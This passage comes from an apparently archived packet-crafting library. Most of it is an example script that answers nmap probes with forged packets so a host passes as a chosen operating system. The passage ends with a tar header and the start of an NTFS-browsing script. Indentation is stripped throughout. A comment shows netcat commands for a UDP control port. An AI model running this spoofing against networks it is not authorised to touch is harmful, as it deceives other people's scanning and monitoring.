arp.set_ar_hrd(1) # Hardward type Ethernet
arp.set_ar_pro(0x800) # IP
arp.set_ar_op(2) # REPLY
arp.set_ar_hln(6)
arp.set_ar_pln(4)
arp.set_ar_sha(string2tuple(self.machine.macAddress))
arp.set_ar_spa(string2tuple(self.machine.ipAddress))
arp.set_ar_tha(in_onion[O_ARP].get_ar_sha())
arp.set_ar_tpa(in_onion[O_ARP].get_ar_spa())
eth.set_ether_shost(arp.get_ar_sha())
eth.set_ether_dhost(arp.get_ar_tha())
return [eth, arp]
class IPResponder(Responder):
def buildAnswer(self, in_onion):
eth = ImpactPacket.Ethernet()
ip = ImpactPacket.IP()
eth.contains(ip)
eth.set_ether_shost(in_onion[O_ETH].get_ether_dhost())
eth.set_ether_dhost(in_onion[O_ETH].get_ether_shost())
ip.set_ip_src(in_onion[O_IP].get_ip_dst())
ip.set_ip_dst(in_onion[O_IP].get_ip_src())
ip.set_ip_id(self.machine.getIPID())
return [eth, ip]
def sameIPFlags(self, in_onion):
if not self.template_onion: return True
return (self.template_onion[O_IP].get_ip_off() & 0xe000) == (in_onion[O_IP].get_ip_off() & 0xe000)
def isMine(self, in_onion):
if len(in_onion) < 2: return False
return (
(in_onion[O_IP].ethertype == ImpactPacket.IP.ethertype) and
(in_onion[O_IP].get_ip_dst() == self.machine.ipAddress) and
self.sameIPFlags(in_onion)
)
def setTTLFromFingerprint(self, out_onion):
f = self.fingerprint
# Test T: Initial TTL = range_low-range_hi, base 16
# Assumption: we are using the minimum in the TTL range
try:
ttl = f['T'].split('-')
ttl = int(ttl[0], 16)
except:
ttl = 0x7f
# Test TG: Initial TTL Guess. It's just a number, we prefer this
try: ttl = int(f['TG'], 16)
except: pass
out_onion[O_IP].set_ip_ttl(ttl)
class ICMPResponder(IPResponder):
def buildAnswer(self, in_onion):
out_onion = IPResponder.buildAnswer(self, in_onion)
icmp = ImpactPacket.ICMP()
out_onion[O_IP].contains(icmp)
out_onion.append(icmp)
icmp.set_icmp_id(in_onion[O_ICMP].get_icmp_id())
icmp.set_icmp_seq(in_onion[O_ICMP].get_icmp_seq())
out_onion[O_IP].set_ip_id(self.machine.getIPID_ICMP())
return out_onion
def isMine(self, in_onion):
if not IPResponder.isMine(self, in_onion): return False
if len(in_onion) < 3: return False
return (
(in_onion[O_ICMP].protocol == ImpactPacket.ICMP.protocol) and
self.sameICMPTemplate(in_onion))
def sameICMPTemplate(self, in_onion):
t_ip = self.template_onion[O_IP]
t_icmp = self.template_onion[O_ICMP]
t_icmp_datalen = self.template_onion[O_ICMP_DATA].get_size()
return (
(t_ip.get_ip_tos() == in_onion[O_IP].get_ip_tos()) and
(t_ip.get_ip_df() == in_onion[O_IP].get_ip_df()) and
(t_icmp.get_icmp_type() == in_onion[O_ICMP].get_icmp_type()) and
(t_icmp.get_icmp_code() == in_onion[O_ICMP].get_icmp_code()) and
(t_icmp_datalen == in_onion[O_ICMP_DATA].get_size())
)
class UDPResponder(IPResponder):
def isMine(self, in_onion):
return (
IPResponder.isMine(self, in_onion) and
(len(in_onion) >= 3) and
(in_onion[O_UDP].protocol == ImpactPacket.UDP.protocol)
)
class OpenUDPResponder(UDPResponder):
def isMine(self, in_onion):
return (
UDPResponder.isMine(self, in_onion) and
self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport()))
def buildAnswer(self, in_onion):
out_onion = IPResponder.buildAnswer(self, in_onion)
udp = ImpactPacket.UDP()
out_onion[O_IP].contains(udp)
out_onion.append(udp)
udp.set_uh_dport(in_onion[O_UDP].get_uh_sport())
udp.set_uh_sport(in_onion[O_UDP].get_uh_dport())
return out_onion
class ClosedUDPResponder(UDPResponder):
def isMine(self, in_onion):
return (
UDPResponder.isMine(self, in_onion) and
not self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport()))
def buildAnswer(self, in_onion):
out_onion = IPResponder.buildAnswer(self, in_onion)
icmp = ImpactPacket.ICMP()
out_onion[O_IP].contains(icmp)
out_onion.append(icmp)
icmp.contains(in_onion[O_IP])
out_onion += in_onion[O_IP:]
icmp.set_icmp_type(icmp.ICMP_UNREACH)
icmp.set_icmp_code(icmp.ICMP_UNREACH_PORT)
return out_onion
class TCPResponder(IPResponder):
def buildAnswer(self, in_onion):
out_onion = IPResponder.buildAnswer(self, in_onion)
tcp = ImpactPacket.TCP()
out_onion[O_IP].contains(tcp)
out_onion.append(tcp)
tcp.set_th_dport(in_onion[O_TCP].get_th_sport())
tcp.set_th_sport(in_onion[O_TCP].get_th_dport())
return out_onion
def sameTCPFlags(self, in_onion):
if not self.template_onion: return True
in_flags = in_onion[O_TCP].get_th_flags() & 0xfff
t_flags = self.template_onion[O_TCP].get_th_flags() & 0xfff
return in_flags == t_flags
def sameTCPOptions(self, in_onion):
if not self.template_onion: return True
in_options = in_onion[O_TCP].get_padded_options()
t_options = self.template_onion[O_TCP].get_padded_options()
return in_options == t_options
def isMine(self, in_onion):
if not IPResponder.isMine(self, in_onion): return False
if len(in_onion) < 3: return False
return (
in_onion[O_TCP].protocol == ImpactPacket.TCP.protocol and
self.sameTCPFlags(in_onion) and
self.sameTCPOptions(in_onion)
)
class OpenTCPResponder(TCPResponder):
def isMine(self, in_onion):
return (
TCPResponder.isMine(self, in_onion) and
in_onion[O_TCP].get_SYN() and
self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport()))
def buildAnswer(self, in_onion):
out_onion = TCPResponder.buildAnswer(self, in_onion)
out_onion[O_TCP].set_SYN()
out_onion[O_TCP].set_ACK()
out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1)
out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence())
return out_onion
class ClosedTCPResponder(TCPResponder):
def isMine(self, in_onion):
return (
TCPResponder.isMine(self, in_onion) and
in_onion[O_TCP].get_SYN() and
not self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport()))
def buildAnswer(self, in_onion):
out_onion = TCPResponder.buildAnswer(self, in_onion)
out_onion[O_TCP].set_RST()
out_onion[O_TCP].set_ACK()
out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1)
out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence())
return out_onion
class UDPCommandResponder(OpenUDPResponder):
# default UDP_CMD_PORT is 12345
# use with:
# echo cmd:exit | nc -u $(IP) $(UDP_CMD_PORT)
# echo cmd:who | nc -u $(IP) $(UDP_CMD_PORT)
def set_port(self, port):
self.port = port
self.machine.openUDPPort(port)
return self
def isMine(self, in_onion):
return (
OpenUDPResponder.isMine(self, in_onion))# and
#in_onion[O_UDP].get_uh_dport() == self.port)
def buildAnswer(self, in_onion):
cmd = in_onion[O_UDP_DATA].get_bytes().tostring()
if cmd[:4] == 'cmd:': cmd = cmd[4:].strip()
print "Got command: %r" % cmd
if cmd == 'exit':
from sys import exit
exit()
out_onion = OpenUDPResponder.buildAnswer(self, in_onion)
out_onion.append(ImpactPacket.Data())
out_onion[O_UDP].contains(out_onion[O_UDP_DATA])
if cmd == 'who':
out_onion[O_UDP_DATA].set_data(self.machine.fingerprint.get_id())
return out_onion
# NMAP2 specific responders
class NMAP2UDPResponder(ClosedUDPResponder):
signatureName = 'U1'
# No real need to filter
# def isMine(self, in_onion):
# return (
# ClosedUDPResponder.isMine(self, inOnion) and
# (in_onion[O_UDP_DATA].get_size() == 300))
def buildAnswer(self, in_onion):
out_onion = ClosedUDPResponder.buildAnswer(self, in_onion)
f = self.fingerprint
# assume R = Y
try:
if (f['R'] == 'N'): return None
except: pass
# Test DF: Don't fragment IP bit set = [YN]
if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True)
else: out_onion[O_IP].set_ip_df(False)
self.setTTLFromFingerprint(out_onion)
# UN. Assume 0
try: un = int(f['UN'],16)
except: un = 0
out_onion[O_ICMP].set_icmp_void(un)
# RIPL. Assume original packet just quoted
try:
ripl = int(f['RIPL'],16) # G generates exception
out_onion[O_ICMP_DATA].set_ip_len(ripl)
except:
pass
# RID. Assume original packet just quoted
try:
rid = int(f['RID'],16) # G generates exception
out_onion[O_ICMP_DATA].set_ip_id(rid)
except:
pass
# RIPCK. Assume original packet just quoted
try: ripck = f['RIPCK']
except: ripck = 'G'
if ripck == 'I': out_onion[O_ICMP_DATA].set_ip_sum(0x6765)
elif ripck == 'Z': out_onion[O_ICMP_DATA].set_ip_sum(0)
elif ripck == 'G': out_onion[O_ICMP_DATA].auto_checksum = 0
# RUCK. Assume original packet just quoted
try:
ruck = int(f['RUCK'], 16)
out_onion[O_ICMP_DATA+1].set_uh_sum(ruck)
except:
out_onion[O_ICMP_DATA+1].auto_checksum = 0
# RUD. Assume original packet just quoted
try: rud = f['RUD']
except: rud = 'G'
if rud == 'I':
udp_data = out_onion[O_ICMP_DATA+2]
udp_data.set_data('G'*udp_data.get_size())
# IPL. Assume all original packet is quoted
# This has to be the last thing we do
# as we are going to render the packet before doing it
try: ipl = int(f['IPL'], 16)
except: ipl = None
if not ipl is None:
data = out_onion[O_ICMP_DATA].get_packet()
out_onion[O_ICMP].contains(ImpactPacket.Data())
ip_and_icmp_len = out_onion[O_IP].get_size()
data = data[:ipl - ip_and_icmp_len]
data += '\x00'*(ipl-len(data)-ip_and_icmp_len)
out_onion = out_onion[:O_ICMP_DATA]
out_onion.append(ImpactPacket.Data(data))
out_onion[O_ICMP].contains(out_onion[O_ICMP_DATA])
return out_onion
class NMAP2ICMPResponder(ICMPResponder):
def buildAnswer(self, in_onion):
f = self.fingerprint
# assume R = Y
try:
if (f['R'] == 'N'): return None
except: pass
out_onion = ICMPResponder.buildAnswer(self, in_onion)
# assume DFI = N
try: dfi = f['DFI']
except: dfi = 'N'
if dfi == 'N': out_onion[O_IP].set_ip_df(False)
elif dfi == 'Y': out_onion[O_IP].set_ip_df(True)
elif dfi == 'S': out_onion[O_IP].set_ip_df(in_onion[O_IP].get_ip_df())
elif dfi == 'O': out_onion[O_IP].set_ip_df(not in_onion[O_IP].get_ip_df())
else: raise Exception('Unsupported IE(DFI=%s)' % dfi)
# assume DLI = S
try: dli = f['DLI']
except: dli = 'S'
if dli == 'S': out_onion[O_ICMP].contains(in_onion[O_ICMP_DATA])
elif dli != 'Z': raise Exception('Unsupported IE(DFI=%s)' % dli)
self.setTTLFromFingerprint(out_onion)
# assume SI = S
try: si = f['SI']
except: si = 'S'
if si == 'S': out_onion[O_ICMP].set_icmp_seq(in_onion[O_ICMP].get_icmp_seq())
elif si == 'Z': out_onion[O_ICMP].set_icmp_seq(0) # this is not currently supported by nmap, but I've done it already
else:
try: out_onion[O_ICMP].set_icmp_seq(int(si, 16)) # this is not supported either by nmap
except: raise Exception('Unsupported IE(SI=%s)' % si)
# assume CD = S
try: cd = f['CD']
except: cd = 'S'
if cd == 'Z': out_onion[O_ICMP].set_icmp_code(0)
elif cd == 'S': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code())
elif cd == 'O': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()+1) # no examples in DB
else:
try: out_onion[O_ICMP].set_icmp_code(int(cd, 16)) # documented, but no examples available
except: raise Exception('Unsupported IE(CD=%s)' % cd)
# assume TOSI = S
try: tosi = f['TOSI']
except: tosi = 'S'
if tosi == 'Z': out_onion[O_IP].set_ip_tos(0)
elif tosi == 'S': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos())
elif tosi == 'O': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()+1) # no examples in DB
else:
try: out_onion[O_IP].set_ip_tos(int(tosi, 16)) # documented, but no examples available
except: raise Exception('Unsupported IE(TOSI=%s)' % tosi)
return out_onion
class NMAP2TCPResponder(TCPResponder):
def buildAnswer(self, in_onion):
out_onion = TCPResponder.buildAnswer(self, in_onion)
f = self.fingerprint
# Test R: There is a response = [YN]
if (f['R'] == 'N'): return None
# Test DF: Don't fragment IP bit set = [YN]
if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True)
else: out_onion[O_IP].set_ip_df(False)
# Test W: Initial TCP windows size
try: win = int(f['W'],16)
except: win = 0
out_onion[O_TCP].set_th_win(win)
self.setTTLFromFingerprint(out_onion)
# Test CC: Explicit congestion notification
# Two TCP flags are used in this test: ECE and CWR
try:
cc = f['CC']
if cc == 'N': ece,cwr = 0,0
if cc == 'Y': ece,cwr = 1,0
if cc == 'S': ece,cwr = 1,1
if cc == 'O': ece,cwr = 0,1
except:
ece,cwr = 0,0
if ece: out_onion[O_TCP].set_ECE()
else: out_onion[O_TCP].reset_ECE()
if cwr: out_onion[O_TCP].set_CWR()
else: out_onion[O_TCP].reset_CWR()
# Test O: TCP Options
try: options = f['O']
except: options = ''
self.setTCPOptions(out_onion, options)
# Test S: TCP Sequence number
# Z: Sequence number is zero
# A: Sequence number is the same as the ACK in the probe
# A+: Sequence number is the same as the ACK in the probe + 1
# O: Other value
try: s = f['S']
except: s = 'O'
if s == 'Z': out_onion[O_TCP].set_th_seq(0)
if s == 'A': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack())
if s == 'A+': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()+1)
if s == 'O': out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence())
# Test A: TCP ACK number
# Z: Ack is zero
# S: Ack is the same as the Squence number in the probe
# S+: Ack is the same as the Squence number in the probe + 1
# O: Other value
try: a = f['A']
except: a = 'O'
if a == 'Z': out_onion[O_TCP].set_th_ack(0)
if a == 'S': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq())
if a == 'S+': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1)
# Test Q: Quirks
# R: Reserved bit set (right after the header length)
# U: Urgent pointer non-zero and URG flag clear
try:
if 'R' in f['Q']: out_onion[O_TCP].set_flags(0x800)
except: pass
try:
if 'U' in f['Q']: out_onion[O_TCP].set_th_urp(0xffff)
except: pass
# Test F: TCP Flags
try: flags = f['F']
except: flags = ''
if 'E' in flags: out_onion[O_TCP].set_ECE()
if 'U' in flags: out_onion[O_TCP].set_URG()
if 'A' in flags: out_onion[O_TCP].set_ACK()
if 'P' in flags: out_onion[O_TCP].set_PSH()
if 'R' in flags: out_onion[O_TCP].set_RST()
if 'S' in flags: out_onion[O_TCP].set_SYN()
if 'F' in flags: out_onion[O_TCP].set_FIN()
# Test RD: TCP Data checksum (mostly for data in RST)
try:
crc = f['RD']
if crc != '0': # when the
crc = int(crc, 16)
data = 'TCP Port is closed\x00'
data += uncrc32.compensate(data, crc)
data = ImpactPacket.Data(data)
out_onion.append(data)
out_onion[O_TCP].contains(data)
except:
pass
return out_onion
def setTCPOptions(self, onion, options):
def getValue(string, i):
value = 0
idx = i
for c in options[i:]:
try:
value = value * 0x10 + int(c,16)
except:
break
idx += 1
return value, idx
# Test O,O1=O6: TCP Options
# L: End of Options
# N: NOP
# S: Selective ACK
# Mx: MSS (x is a hex number)
# Wx: Windows Scale (x is a hex number)
# Tve: Timestamp (v and e are two binary digits, v for TSval and e for TSecr
i = 0
tcp = onion[O_TCP]
while i < len(options):
opt = options[i]
i += 1
if opt == 'L': tcp.add_option(TCPOption(TCPOption.TCPOPT_EOL))
if opt == 'N': tcp.add_option(TCPOption(TCPOption.TCPOPT_NOP))
if opt == 'S': tcp.add_option(TCPOption(TCPOption.TCPOPT_SACK_PERMITTED))
if opt == 'T':
opt = TCPOption(TCPOption.TCPOPT_TIMESTAMP) # default ts = 0, ts_echo = 0
if options[i] == '1': opt.set_ts(self.machine.getTCPTimeStamp())
if options[i+1] == '1': opt.set_ts_echo(0xffffffffL)
tcp.add_option(opt)
i += 2
if opt == 'M':
maxseg, i = getValue(options, i)
tcp.add_option(TCPOption(TCPOption.TCPOPT_MAXSEG, maxseg))
if opt == 'W':
window, i = getValue(options, i)
tcp.add_option(TCPOption(TCPOption.TCPOPT_WINDOW, window))
class nmap2_SEQ(NMAP2TCPResponder):
templateClass = None
signatureName = None
seqNumber = None
def initFingerprint(self):
NMAP2TCPResponder.initFingerprint(self)
if not self.seqNumber: return
else:
OPS = self.machine.fingerprint.get_tests()['OPS']
WIN = self.machine.fingerprint.get_tests()['WIN']
self.fingerprint['O'] = OPS['O%d' % self.seqNumber]
self.fingerprint['W'] = WIN['W%d' % self.seqNumber]
class nmap2_ECN(NMAP2TCPResponder):
templateClass = os_ident.nmap2_ecn_probe
signatureName = 'ECN'
class nmap2_SEQ1(nmap2_SEQ):
templateClass = os_ident.nmap2_seq_1
signatureName = 'T1'
seqNumber = 1
class nmap2_SEQ2(nmap2_SEQ):
templateClass = os_ident.nmap2_seq_2
signatureName = 'T1'
seqNumber = 2
class nmap2_SEQ3(nmap2_SEQ):
templateClass = os_ident.nmap2_seq_3
signatureName = 'T1'
seqNumber = 3
class nmap2_SEQ4(nmap2_SEQ):
templateClass = os_ident.nmap2_seq_4
signatureName = 'T1'
seqNumber = 4
class nmap2_SEQ5(nmap2_SEQ):
templateClass = os_ident.nmap2_seq_5
signatureName = 'T1'
seqNumber = 5
class nmap2_SEQ6(nmap2_SEQ):
templateClass = os_ident.nmap2_seq_6
signatureName = 'T1'
seqNumber = 6
class nmap2_T2(NMAP2TCPResponder):
templateClass = os_ident.nmap2_tcp_open_2
signatureName = 'T2'
class nmap2_T3(NMAP2TCPResponder):
templateClass = os_ident.nmap2_tcp_open_3
signatureName = 'T3'
class nmap2_T4(NMAP2TCPResponder):
templateClass = os_ident.nmap2_tcp_open_4
signatureName = 'T4'
class nmap2_T5(NMAP2TCPResponder):
templateClass = os_ident.nmap2_tcp_closed_1
signatureName = 'T5'
class nmap2_T6(NMAP2TCPResponder):
templateClass = os_ident.nmap2_tcp_closed_2
signatureName = 'T6'
class nmap2_T7(NMAP2TCPResponder):
templateClass = os_ident.nmap2_tcp_closed_3
signatureName = 'T7'
class nmap2_ICMP_1(NMAP2ICMPResponder):
templateClass = os_ident.nmap2_icmp_echo_probe_1
signatureName = 'IE'
class nmap2_ICMP_2(NMAP2ICMPResponder):
templateClass = os_ident.nmap2_icmp_echo_probe_2
signatureName = 'IE'
class Machine:
AssumedTimeIntervalPerPacket = 0.11 # seconds
def __init__(self, emmulating, interface, ipAddress, macAddress, openTCPPorts = [], openUDPPorts = [], nmapOSDB = 'nmap-os-db'):
self.interface = interface
self.ipAddress = ipAddress
self.macAddress = macAddress
self.responders = []
self.decoder = ImpactDecoder.EthDecoder()
self.initPcap()
self.initFingerprint(emmulating, nmapOSDB)
self.initSequenceGenerators()
self.openTCPPorts = openTCPPorts
self.openUDPPorts = openUDPPorts
print self
def openUDPPort(self, port):
if self.isUDPPortOpen(port): return
self.openUDPPorts.append(port)
def isUDPPortOpen(self, port):
return port in self.openUDPPorts
def isTCPPortOpen(self, port):
return port in self.openTCPPorts
def initPcap(self):
self.pcap = pcapy.open_live(self.interface, 65535, 1, 0)
try: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress))
except: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress), 1, 0xFFFFFF00)
def initGenericResponders(self):
# generic responders
self.addResponder(ARPResponder(self))
self.addResponder(OpenUDPResponder(self))
self.addResponder(ClosedUDPResponder(self))
self.addResponder(OpenTCPResponder(self))
self.addResponder(ClosedTCPResponder(self))
def initFingerprint(self, emmulating, nmapOSDB):
fpm = os_ident.NMAP2_Fingerprint_Matcher('')
f = file(nmapOSDB, 'r')
for text in fpm.fingerprints(f):
fingerprint = fpm.parse_fp(text)
if fingerprint.get_id() == emmulating:
self.fingerprint = fingerprint
self.simplifyFingerprint()
# print fingerprint
return
raise Exception, "Couldn't find fingerprint data for %r" % emmulating
def simplifyFingerprint(self):
tests = self.fingerprint.get_tests()
for probeName in tests:
probe = tests[probeName]
for test in probe:
probe[test] = probe[test].split('|')[0]
def initSequenceGenerators(self):
self.initIPIDGenerator()
self.initTCPISNGenerator()
self.initTCPTSGenerator()
def initIPIDGenerator(self):
seq = self.fingerprint.get_tests()['SEQ']
self.ip_ID = 0
try: TI = seq['TI']
except: TI = 'O'
if TI == 'Z': self.ip_ID_delta = 0
elif TI == 'RD': self.ip_ID_delta = 30000
elif TI == 'RI': self.ip_ID_delta = 1234
elif TI == 'BI': self.ip_ID_delta = 1024+256
elif TI == 'I': self.ip_ID_delta = 1
elif TI == 'O': self.ip_ID_delta = 123
else: self.ip_ID_delta = int(TI, 16)
try: ss = seq['SS']
except: ss = 'O'
self.ip_ID_ICMP_delta = None
if ss == 'S': self.ip_ID_ICMP = None
else:
self.ip_ID_ICMP = 0
try: II = seq['II']
except: II = 'O'
if II == 'Z': self.ip_ID_ICMP_delta = 0
elif II == 'RD': self.ip_ID_ICMP_delta = 30000
elif II == 'RI': self.ip_ID_ICMP_delta = 1234
elif II == 'BI': self.ip_ID_ICMP_delta = 1024+256
elif II == 'I': self.ip_ID_ICMP_delta = 1
elif II == 'O': self.ip_ID_ICMP_delta = 123
else: self.ip_ID_ICMP_delta = int(II, 16)
# generate a few, so we don't start with 0 when we don't have to
for i in range(10):
self.getIPID()
self.getIPID_ICMP()
print "IP ID Delta: %d" % self.ip_ID_delta
print "IP ID ICMP Delta: %s" % self.ip_ID_ICMP_delta
def initTCPISNGenerator(self):
# tcp_ISN and tcp_ISN_delta for TCP Initial sequence numbers
self.tcp_ISN = 0
try:
self.tcp_ISN_GCD = int(self.fingerprint.get_tests()['SEQ']['GCD'].split('-')[0], 16)
except:
self.tcp_ISN_GCD = 1
try:
isr = self.fingerprint.get_tests()['SEQ']['ISR'].split('-')
if len(isr) == 1:
isr = int(isr[0], 16)
else:
isr = (int(isr[0], 16) + int(isr[1], 16)) / 2
except:
isr = 0
try:
sp = self.fingerprint.get_tests()['SEQ']['SP'].split('-')
sp = int(sp[0], 16)
except:
sp = 0
self.tcp_ISN_stdDev = (2**(sp/8.0)) * 5 / 4 # n-1 on small populations... erm...
if self.tcp_ISN_GCD > 9:
self.tcp_ISN_stdDev *= self.tcp_ISN_GCD
self.tcp_ISN_stdDev *= self.AssumedTimeIntervalPerPacket
self.tcp_ISN_delta = 2**(isr/8.0) * self.AssumedTimeIntervalPerPacket
# generate a few, so we don't start with 0 when we don't have to
for i in range(10): self.getTCPSequence()
print "TCP ISN Delta: %f" % self.tcp_ISN_delta
print "TCP ISN Standard Deviation: %f" % self.tcp_ISN_stdDev
def initTCPTSGenerator(self):
# tcp_TS and tcp_TS_delta for TCP Time stamp generation
self.tcp_TS = 0
try: ts = self.fingerprint.get_tests()['SEQ']['TS']
except: ts = 'U'
if ts == 'U' or ts == 'Z': self.tcp_TS_delta = 0
else:
self.tcp_TS_delta = (2**int(ts, 16)) * self.AssumedTimeIntervalPerPacket
# generate a few, so we don't start with 0 when we don't have to
for i in range(10): self.getTCPTimeStamp()
print "TCP TS Delta: %f" % self.tcp_TS_delta
def getIPID(self):
answer = self.ip_ID
self.ip_ID += self.ip_ID_delta
self.ip_ID %= 0x10000L
# print "IP ID: %x" % answer
return answer
def getIPID_ICMP(self):
if self.ip_ID_ICMP is None:
return self.getIPID()
answer = self.ip_ID_ICMP
self.ip_ID_ICMP += self.ip_ID_ICMP_delta
self.ip_ID_ICMP %= 0x10000L
# print "---> IP ID: %x" % answer
return answer
def getTCPSequence(self):
answer = self.tcp_ISN + self.tcp_ISN_stdDev # *random.random()
self.tcp_ISN_stdDev *= -1
answer = int(int(answer/self.tcp_ISN_GCD) * self.tcp_ISN_GCD)
self.tcp_ISN += self.tcp_ISN_delta
self.tcp_ISN %= 0x100000000L
# print "---> TCP Sequence: %d" % (answer % 0x100000000L)
return answer % 0x100000000L
def getTCPTimeStamp(self):
answer = int(round(self.tcp_TS))
self.tcp_TS += self.tcp_TS_delta
self.tcp_TS %= 0x100000000L
# print "---> TCP Time Stamp: %x" % answer
return answer
def sendPacket(self, onion):
if not onion: return
print "--> Packet sent:"
#print onion[0]
#print
self.pcap.sendpacket(onion[O_ETH].get_packet())
def addResponder(self, aResponder):
self.responders.append(aResponder)
def run(self):
while 1:
p = self.pcap.next()
try: in_onion = [self.decoder.decode(p[1])]
except: in_onion = [self.decoder.decode(p[0])]
try:
while 1: in_onion.append(in_onion[-1].child())
except:
pass
#print "-------------- Received: ", in_onion[0]
for r in self.responders:
if r.process(in_onion): break
def main():
def initResponders(machine):
# cmd responder
# machine.addResponder(UDPCommandResponder(machine).set_port(UDP_CMD_PORT))
# nmap2 specific responders
machine.addResponder(nmap2_SEQ1(machine))
machine.addResponder(nmap2_SEQ2(machine))
machine.addResponder(nmap2_SEQ3(machine))
machine.addResponder(nmap2_SEQ4(machine))
machine.addResponder(nmap2_SEQ5(machine))
machine.addResponder(nmap2_SEQ6(machine))
machine.addResponder(nmap2_ECN(machine))
machine.addResponder(nmap2_T2(machine))
machine.addResponder(nmap2_T3(machine))
machine.addResponder(nmap2_T4(machine))
machine.addResponder(nmap2_T5(machine))
machine.addResponder(nmap2_T6(machine))
machine.addResponder(nmap2_T7(machine))
machine.addResponder(nmap2_ICMP_1(machine))
machine.addResponder(nmap2_ICMP_2(machine))
machine.addResponder(NMAP2UDPResponder(machine))
from sys import argv, exit
def usage():
print """
if arg == '-h': usage()
if arg == '--help': usage()
if arg == '-f': Fingerprint = value
if arg == '-p': IP = value
if arg == '-m': MAC = value
if arg == '-i': IFACE = value
if arg == '-d': nmapOsDB = value
where:
arg = argv[i]
value = argv[i+1]
"""
exit()
global Fingerprint, IFACE, MAC, IP, nmapOSDB
for i in xrange(len(argv)):
arg = argv[i]
try: value = argv[i+1]
except: value = None
if arg == '-h': usage()
if arg == '--help': usage()
if arg == '-f': Fingerprint = value
if arg == '-p': IP = value
if arg == '-m': MAC = value
if arg == '-i': IFACE = value
if arg == '-d': nmapOSDB = value
print "Emulating: %r" % Fingerprint
print "at %s / %s / %s" % (IFACE, MAC, IP)
machine = Machine(
Fingerprint,
IFACE,
IP,
MAC,
OPEN_TCP_PORTS,
OPEN_UDP_PORTS,
nmapOSDB = nmapOSDB)
initResponders(machine)
machine.initGenericResponders()
machine.run()
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
main()
# All Probes
# [x] SEQ
# [x] OPS
# [x] WIN
# [x] T1
# [x] T2
# [x] T3
# [x] T4
# [x] T5
# [x] T6
# [x] T7
# [x] IE
# [x] ECN
# [x] U1
# All Tests
# SEQ()
# [x] TCP ISN sequence predictability index (SP)
# [x] TCP ISN greatest common divisor (GCD)
# [x] TCP ISN counter rate (ISR)
# [x] IP ID sequence generation algorithm on TCP Open ports (TI)
# [x] Z - All zeros
# [x] RD - Random: It increments at least once by at least 20000.
# [-] Hex Value - fixed IP ID
# [x] RI - Random positive increments. Any (delta_i > 1000, and delta_i % 256 != 0) or (delta_i > 256000 and delta_i % 256 == 0)
# [x] BI - Broken increment. All delta_i % 256 = 0 and all delta_i <= 5120.
# [x] I - Incremental. All delta_i < 10
# [x] O - (Ommited, the test does not show in the fingerprint). None of the other
# [-] IP ID sequence generation algorithm on TCP closed ports (CI)
# [x] IP ID sequence generation algorithm on ICMP messages (II)
# [x] Shared IP ID sequence Boolean (SS)
# [x] TCP timestamp option algorithm (TS)
# [x] U - unsupported (don't send TS)
# [x] 0 - Zero
# [x] 1 - 0-5.66 (2 Hz)
# [x] 7 - 70-150 (100 Hz)
# [x] 8 - 150-350 (200 Hz)
# [x] - avg_freq = sum(TS_diff/time_diff) . round(.5 + math.log(avg_freq)/math.log(2)))
# time_diff = 0.11 segs
# OPS()
# [x] TCP options (O, O1-O6)
# WIN()
# [x] TCP initial window size (W, W1-W6)
# ECN, T1-T7
# [x] TCP options (O, O1-O6)
# [x] TCP initial window size (W, W1-W6)
# [x] Responsiveness (R)
# [x] IP don't fragment bit (DF)
# [x] IP initial time-to-live (T)
# [x] IP initial time-to-live guess (TG)
# [x] Explicit congestion notification (CC)
# [x] TCP miscellaneous quirks (Q)
# [x] TCP sequence number (S)
# [x] TCP acknowledgment number (A)
# [x] TCP flags (F)
# [x] TCP RST data checksum (RD)
# IE()
# [x] Responsiveness (R)
# [x] Don't fragment (ICMP) (DFI)
# [x] IP initial time-to-live (T)
# [x] IP initial time-to-live guess (TG)
# [x] ICMP response code (CD)
#-[x] IP Type of Service (TOSI)
#-[x] ICMP Sequence number (SI)
#-[x] IP Data Length (DLI)
# U1()
# [x] Responsiveness (R)
# [x] IP don't fragment bit (DF)
# [x] IP initial time-to-live (T)
# [x] IP initial time-to-live guess (TG)
# [x] IP total length (IPL)
# [x] Unused port unreachable field nonzero (UN)
# [x] Returned probe IP total length value (RIPL)
# [x] Returned probe IP ID value (RID)
# [x] Integrity of returned probe IP checksum value (RIPCK)
# [x] Integrity of returned probe UDP checksum (RUCK)
# [x] Integrity of returned UDP data (RUD)
# [-] ??? (TOS) Type of Service
# [-] ??? (RUL) Length of return UDP packet is correct
# sudo nmap -O 127.0.0.2 -p 22,111,89
# sudo python nmapAnswerMachine.py -i eth0 -p 192.168.66.254 -f 'Sun Solaris 9 (SPARC)'
impacket-0.9.15/examples/ntfs-read.py 0000700 0000765 0000000 00000116246 12734531507 017537 0 ustar beto wheel 0000000 0000000 #!/usr/bin/python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: Mini shell for browsing an NTFS volume
#
# Author:
# Alberto Solino (@agsolino)
#
#
# Reference for:
# Structure. Quick and dirty implementation.. just for fun.. ;)
#
# NOTE: Lots of info (mainly the structs) taken from the NTFS-3G project..
#
# TODO
# [] Parse the attributes list attribute. It is unknown what would happen now if
# we face a highly fragmented file that will have many attributes that won't fit
# in the MFT Record
# [] Support compressed, encrypted and sparse files
#
import os
import sys
import logging
import struct
import argparse
